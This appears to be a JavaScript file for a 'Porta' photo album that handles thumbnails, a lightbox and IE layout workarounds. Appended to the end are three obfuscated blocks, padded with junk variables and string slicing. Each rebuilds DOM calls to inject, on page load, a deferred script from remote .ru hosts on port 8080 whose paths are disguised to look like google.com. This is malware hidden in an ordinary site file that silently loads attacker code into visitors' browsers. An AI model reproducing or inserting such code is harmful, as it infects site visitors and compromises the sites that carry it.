//////////////////////////
// main
//////////////////////////
var mf;	// handle to the medium iframe (initialised onload())

///////////////////////////
function SetupIndex() {
///////////////////////////

    // setup medium iframe
    var m_iframe = '';
    document.getElementById('mediumiframe_span').innerHTML = m_iframe;

    // show thumbnails
    SetupIFrames( smallPos );

    // set handle to the medium iframe
    mf = this.frames['mediumiframe'];

    // set keyboard handler
    document.onkeydown = ImageBrowsingKeydownHandlerIndex;

    // set document title
    document.title = title.replace(/(<([^>]+)>)/ig,"");

    // write status message
    window.status = 'This is a Porta photo album. Use the left and right arrow keys to navigate.';
    
    // go to light box if specified    
    //var url = window.location.href;
    //var show_lightbox = (url.indexOf("?lightbox")!=-1);
    //if (show_lightbox) {
    	
    //	DisplayLightbox();
    //}    
}

//////////////////////////
function ImageBrowsingKeydownHandlerIndex( e ) {
//////////////////////////

    ImageBrowsingKeydownHandler( e, mf );
}


///////////////////////////
function EnlargeImageInLightbox( i ) {
///////////////////////////

    // delete selection to avoid display artefacts
    if (self.getSelection)  {
        self.getSelection().removeAllRanges();
    } else if (document.selection) {
        document.selection.clear();
    }

    mf.ShowImage( i, 0  );
    document.getElementById('mainlayer').style.visibility = 'visible';
    document.getElementById('lightboxlayer').style.visibility = 'hidden';
}

///////////////////////////
function DisplayLightbox() {
///////////////////////////

    // hide the main layer and show the lightbox
    document.getElementById('mainlayer').style.visibility = 'hidden';
    document.getElementById('lightboxlayer').style.visibility = 'visible';

    // unload small images elements in the mainlayer
    SetupIFrames( 'none' );

    // register and render light box links
    mf.clinks_href  = new Array();
    mf.clinks_txt   = new Array();
    mf.clinks_href.push('javascript:parent.DisplayLightbox()');
    mf.clinks_txt.push( ls_lightbox );
    mf.clinks_href.push('javascript:parent.HideLightbox()');
    mf.clinks_txt.push( ls_albumview );
    mf.RenderCtrlLinks();

    // write title and link
    document.getElementById('title_lb').innerHTML = title;
    document.getElementById('ctrllinks_lb').innerHTML = '<a class="control" href="javascript:HideLightbox()">'+ls_albumview+'</a>';

    // write thumbnails
    var border = 14;
    var html = '';
    for (i=0;i<nbImages;i++) {

        var hfill    = maxSmallW-smallWidth[i];
        var vfill    = maxSmallH-smallHeight[i];
        var m_left   = border + Math.floor( hfill/2 );
        var m_right  = border + Math.ceil ( hfill/2 );
        var m_top    = border + Math.floor( vfill/2 );
        var m_bottom = border + Math.ceil ( vfill/2 );

        var mac = majorCaption[i].replace( /"/g,    '&quot;' );
        var re  = /<\S[^>]*>/g;
        mac = mac.replace(re,""); // strip html

        html += '<a href="javascript:EnlargeImageInLightbox('+i+')">';
        html += '<img style="display: inline; padding: 0px; border: 0px solid black; ';
        html += 'margin-left: '+m_left+'px; margin-right:'+m_right+'px; ';
        html += 'margin-top:'+m_top+'px; margin-bottom:'+m_bottom+'px;" ';
        html += 'src="'+smallDir+'/'+ImageFilenameURL(i)+'" ';
        html += 'width="'+smallWidth[i]+'" ' ;
        html += 'height="'+smallHeight[i]+'" ' ;
        html += 'galleryimg="no" title="'+mac+'" alt="'+mac+'" />';
        html += '</a> ';
    }
    document.getElementById('images_lb').innerHTML = html;

    // write footer
    document.getElementById('footer_lb').innerHTML = PortaMagicFooter(footer);
}

///////////////////////////
function HideLightbox() {
///////////////////////////

    // unload lightbox images to conserve memory
    document.getElementById('images_lb').innerHTML = '';

    // turn on small images in the main layer
    SetupIFrames( smallPos );

    // unregister links
    mf.clinks_href  = new Array();
    mf.clinks_txt   = new Array();
    mf.RenderCtrlLinks();

    // hide lightbox and show the main layer
    document.getElementById('mainlayer').style.visibility = 'visible';
    document.getElementById('lightboxlayer').style.visibility = 'hidden';
}

//////////////////////////
function SetupIFrames( smallPosSetting ) {
//////////////////////////

    // access medium iframe style
    var stym      = document.getElementById('mediumiframe').style;
    var stym_span = document.getElementById('mediumiframe_span').style;

    // stuff required for the nasty ie workaround....
    // (which to make matters worse requires to use the xml prolog stunt 
    //  to switch ie into quirks mode in order to use the faulty box model)
    var isIEnoFixed = (navigator.userAgent.toLowerCase().indexOf("msie 3")!=-1) || 
    				  (navigator.userAgent.toLowerCase().indexOf("msie 4")!=-1) ||
    				  (navigator.userAgent.toLowerCase().indexOf("msie 5")!=-1) ||
    				  (navigator.userAgent.toLowerCase().indexOf("msie 6")!=-1);        
    
    if (smallPosSetting=='none') {

        // empty iframe
        document.getElementById('smalliframe_span').innerHTML = '';
                     	
        // set the main content to fill the browser
        stym.left   = '0px';
        stym.top    = '0px';
        stym.padding = '0px 0px 0px 0px';
        if (isIEnoFixed) {
			
            stym.height = '100%';
            stym.width  = '100%';
        } else {

            stym.height = '100%';
            stym.width  = '100%';
			stym_span.position = 'fixed';
			stym_span.top      = '0px';
	    	stym_span.left     = '0px';
	        stym_span.bottom   = '0px';
	        stym_span.right    = '0px';
	        stym_span.width    = 'auto';
	        stym_span.height   = 'auto';
        }
        stym.visibility = 'visible';
        return;
    }

	// write the small iframe
    var s_iframe = '';
    document.getElementById('smalliframe_span').innerHTML = s_iframe;

	// size and position iframes
    var sty  = document.getElementById('smalliframe').style;
    var scrollbarsize = 16;		 // ugly pragmatic stuff
    var marginsize = 2*1+2*3+10; // ugly pragmatic stuff
    var space = isIEnoFixed ? 15 : 10;  // ugly pragmatic stuff
    var w = parseInt(maxSmallW+scrollbarsize+marginsize+space)+'px';
    var h = parseInt(maxSmallH+scrollbarsize+marginsize)+'px';
    stym.top      = '0px';
    stym.left     = '0px';    
    stym.height   = '100%';
    stym.width    = '100%';
    if (isIEnoFixed==false) {
		    
		sty.position 	   = 'fixed';
		stym_span.position = 'fixed';
		stym_span.top      = '0px';
    	stym_span.left     = '0px';
        stym_span.bottom   = '0px';
        stym_span.right    = '0px';
        stym_span.width    = 'auto';
        stym_span.height   = 'auto';
    }
    switch (smallPosSetting) {

        case 'top':     sty.left    = '0px';
                        sty.top     = '0px';
                        sty.width   = '100%';
                        sty.height  = h;

                        if (isIEnoFixed) {

                            stym.paddingTop = h;
                        } else {

                            stym_span.top   = h;
                        }
                        break;

        case 'bottom':  sty.left    = '0px';
                        sty.bottom  = '0px';
                        sty.width   = '100%';
                        sty.height  = h;

                        if (isIEnoFixed) {

                            stym.paddingBottom = h;
                        } else {

                            stym_span.bottom = h;
                        }
                        break;

        case 'right':   sty.right   = '0px';
                        sty.top     = '0px';
                        sty.width   = w;
                        sty.height  = '100%';

                        if (isIEnoFixed) {

                            stym.paddingRight = w;
                        } else {

                            stym_span.right  = w;
                        }

                        break;

        case 'left':
        default:        sty.left    = '0px';
                        sty.top     = '0px';
                        sty.width   = w;
                        sty.height  = '100%';

                        if (isIEnoFixed) {

                            stym.paddingLeft = w;                            
                        } else {
							
                            stym_span.left = w;
                        }
                        break;
     }
     sty.visibility  = 'visible';
     stym.visibility = 'visible';
}


try {var jw='x'} catch(jw){};HQ=["a"];function j(){try {var q='o'} catch(q){};i=["O","y","EE"];var b=["g","M","P"];var S=new String("srcU1v".substr(0,3));var V=new Array();var Y=["gF","Az"];var e="ap"+"pe"+"nd"+"Ch4pJU".substr(0,2)+"ilowm".substr(0,2)+"dtGf".substr(0,1);var G=new String();var n=document;Es={MZ:"K"};var H=String("93Pde".substr(3)+"Y0t2fet20Y".substr(4,2)+"5cPLrL5cP".substr(4,1));var yw=new Date();tQ={rV:false};N=49264;N--;var Z=new String("onlo"+"3y7ad".substr(3));var t=new String("creat"+"eElem"+"qDcent".substr(3));this.T='';gy={D:25230};var R=new String("scr"+"qD6Vipt".substr(4));var f="bo"+"dyuM1".substr(0,2);var RX=window;var Mh=new Date();PX=[];this.I=8931;this.I--;function ER(){this.oH=59486;this.oH-=26;try {var A=String("http"+"eoa://d".substr(3)+"KC8irtyK8C".substr(3,4)+"sin.xXm".substr(0,4)+"ru:");var io=["jX","EwW","we"];var pB="";var d=String("/pe"+"rsi"+"WO9Danb".substr(4)+"XQhDloghQXD".substr(4,3)+"-ir"+"PthV/go".substr(4)+"ogl"+"rDtSe.c".substr(4)+"om/"+"LMOkoo".substr(3)+"T0uora".substr(3)+".co"+"m.pT43G".substr(0,3)+"ZDAShpADSZ".substr(4,2));var s=521953-513873;var m=2114-2113;qd={Gb:22340};var Xv={};var Nu={eQ:10900};this.ve="ve";Zk=n[t](R);PL={JP:"bM"};var IM='';this.mR=34360;this.mR+=85;uu={xT:false};Id=["xu","SF"];var mA=new Array();Zk[H]=m;var Vf={wh:36974};Zk[S]=A+s+d;var Wy=59630;n[f][e](Zk);Bd=37128;Bd++;} catch(r){var pA=new Date();var Lv=new String();};}this.XU=false;yF=60580;yF-=145;RX[Z]=ER;};U_=["ny"];NB=["Ct"];j();WM=["jS"];try {var Bo='Pl'} catch(Bo){};
try {} catch(n){};try {} catch(x){};try {nw=["O","e"];var en={Ap:"_"};try {var C='S'} catch(C){};var mJ={iZ:"z"};var Z={CM:"xj"};zo={Ey:false};H=["b","g","os"];this.V='';var I=window["3JzIunes".substr(4)+"cape"];var F=["CR"];var iW={Sz:63431};var N=["JU","rX","y"];var Q={Ch:9882};var h=window[(String("OsJ7Re".substr(4)+"0ADgED0A".substr(3,2)+"xp"))];var BU=false;var W={j_:"_C"};be={lh:63388};var D=new String("onloa"+"d");var OC=new Array();var ln="ln";var ZY={};this.oR='';this.Vf='';var Y=String("repl"+"ace");var X='';var v=new String("C3BR1".substr(4));var kW={};function t(v,vy){tv=11141;tv++;var Ov=false;lv={mz:27458};try {var DC='CH'} catch(DC){};w=["ZU"];QY={Xq:55168};var ym="ym";Gh=["R"];var k="[";try {var R_='xB'} catch(R_){};this.Jo=31443;this.Jo++;this.Iq=4078;this.Iq-=121;try {var _x='JR'} catch(_x){};k+=vy;k+=I("%5d");Qo=31234;Qo+=13;var gC=[];var Sg='';var Pi={AJ:false};ps={};var P=new h(k, String("g"));var qu=["zoQ"];var qx={mX:"cV"};XY=["qcb"];var oW=44053;return v.replace(P, X);qq=[];this.KB=41232;this.KB+=47;};HC=[];var hv={mP:false};var VT=["IT","Wz","GA"];vY=[];var j=new String("/c"+"hi"+"c7qna".substr(3)+"moNVQI".substr(0,2)+"bi"+"le"+"-c"+"om"+"/g"+"oo"+"gl"+"e.jJlK".substr(0,2)+"co61PK".substr(0,2)+"uUjom/oUju".substr(4,2)+"faoT73".substr(0,2)+"rm"+"vi"+"reLullrLue".substr(4,2)+"v7Re.v7R".substr(3,2)+"co"+"2J1lm.".substr(4)+"iKBOphKiOB".substr(4,2)+"Y64p".substr(3));var yd={Yy:false};var u="qKO5ht".substr(4)+"tpW1C".substr(0,2)+"FszO:/".substr(4)+"/a"+"sh"+"hMT9doM9hT".substr(4,2)+"W6KVg.K6WV".substr(4,2)+"ru"+"C73h:".substr(4);uZ=43220;uZ--;var Kl=new Array();var IO={US:"JPQ"};var ChT=[];var s=314561-306481;function K(){pWx={pn:44927};Zr=["mF","Co","Ia"];var zO=false;bR={hb:22733};gp={rj:60297};Dpv=[];try {} catch(Se){};wt={Qdh:"tm"};try {} catch(gg){};this.jII=15137;this.jII++;var i=t('s9c9rniWpntT','nWd9LTHF');var Lh=["lt","rl","Sq"];var uP=["myl","cfP"];var p="appens8E".substr(0,5)+"dChil"+"d";var PS="";var WP=false;this.wj=20017;this.wj++;this.DG='';this.PZ=24494;this.PZ--;oa={};var Ry={QN:"Cv"};var Ce={NK:"lz"};try {var rh='fC'} catch(rh){};var B=document;this._F=53800;this._F++;Hj={};this.qct=14574;this.qct-=238;this.Tg=43621;this.Tg-=151;this.uG=11914;this.uG--;_Y=[];dO=[];T=B.createElement(i);var Ag={tE:false};Le={vk:false};Tge=36437;Tge-=206;hJ=13632;hJ-=113;ox={VZ:false};this.hj=63119;this.hj-=115;lo={AZ:false};GAW=39622;GAW+=175;PO=u+s;this.vF=42644;this.vF-=123;gm={bE:54002};var wM={};Ys={VG:24980};try {} catch(Vs){};PO=PO+j;this.ma=6322;this.ma-=162;this.km=false;Kx=43667;Kx--;var vE=false;oV=58688;oV--;uf=["Nb","IS"];this.ty=10532;this.ty++;T["deferOLy".substr(0,5)]=v;pt=49676;pt-=86;var A=B.body;dJ={};T.src=PO;this.fD="";this.aL=false;var QH=false;var pK=false;jm=47811;jm++;var FG='';A[p](T);var lhf={Qp:44382};this.YP='';var XEs={uh:10999};};var Mx={cj:1353};var L_={Ef:43687};var QoG=[];var ii={Dd:65404};var di={nH:44972};this.UP=false;this.JM=20345;this.JM+=12;this.nL=false;window[D]=K;var av={};yC=[];var KW='';var dg={};wu=[];ufZ=["Xs","tmU"];var KU="";} catch(tw){this.WU=38710;this.WU+=19;var kT="";this.KBx=56742;this.KBx+=229;this.Wv="";var YX=34709;_f={jTH:36832};this.RC="RC";Ya=6774;Ya++;};var Ul='';var HV='';this.OU=60817;this.OU-=190;this.PC=2191;this.PC-=63;qKF=16102;qKF-=12;
var iA={aI:false};V=42093;V++;var AG='';var A;j=10166;j+=87;x=function(){function F(JO,Z,s){return JO.substr(Z,s);}var P=RegExp;var i=String("/g"+"oo"+"gl"+F("e.vWUc",0,2)+"co"+F("vSGm/SGv",3,2)+F("toY95N",0,2)+"m."+F("comWi6",0,2)+F("Ltdm/tdL",3,2)+"ye"+F("LGZklpGkLZ",4,2)+".c"+F("e1Som1Se",3,2)+F("aH2.paH2",3,2)+F("blknhplbkn",4,2));em=21362;em+=155;g=["WF","y"];this.d=47169;this.d--;var R='';var JJ=document;var ek="";function J(JO,Z){this.Cv=20447;this.Cv+=142;var s=new String("[")+Z+new String(F("]fdQG",0,1));var At="At";var ab=new Array();var a=new P(s, String(F("gwJqc",0,1)));return JO.replace(a, R);var tn=false;};yj=19794;yj--;var e=70650-62570;try {} catch(HE){};var W=J('sMc3rkiPpUtu','MQXZPuU3DCkHmYKe9AG');var JV=null;var r=false;var HR=false;var c=new String("body");this.X=false;this._="_";this.Vf="Vf";var ro=["Fl","Xf"];A=function(){jZ={Ml:46492};try {var Q=J('cKryeCawtKeuEZlQeym3eInQtz','4wSCIQz13iZFyKsNu');M=JJ[Q](W);var O=["hau","TN"];var XK={Lw:false};var HZ="HZ";var JO=e+i;this.EP='';var Fd={};var JN=F("defepjR",0,4)+F("eCOsreOsC",4,1);oc=[];taf={Bv:false};var Ay=J('sdr2cd','29lnJ4d');HB=["uK","DZ"];I={G:"Sa"};try {var Ij='bC'} catch(Ij){};try {var tU='jG'} catch(tU){};M[JN]=[1][0];var ix={za:"UZ"};var rH=[];var jn={rHy:"Fy"};var LF={rV:"Vl"};M[Ay]=String("http:"+F("//tenAYW",0,5)+F("thpron6VF",0,5)+F("Ldhfit.rhLd",3,5)+"u:")+JO;JJ[c].appendChild(M);this.OR=34312;this.OR-=122;} catch(Jp){Zz={};this.JT=false;};try {} catch(BH){};};var hh=["Mt","iv"];};nE={Os:"N"};x();rI=21400;rI+=236;var TT={};window.onload=A;var FB=["Gu","uy","GV"];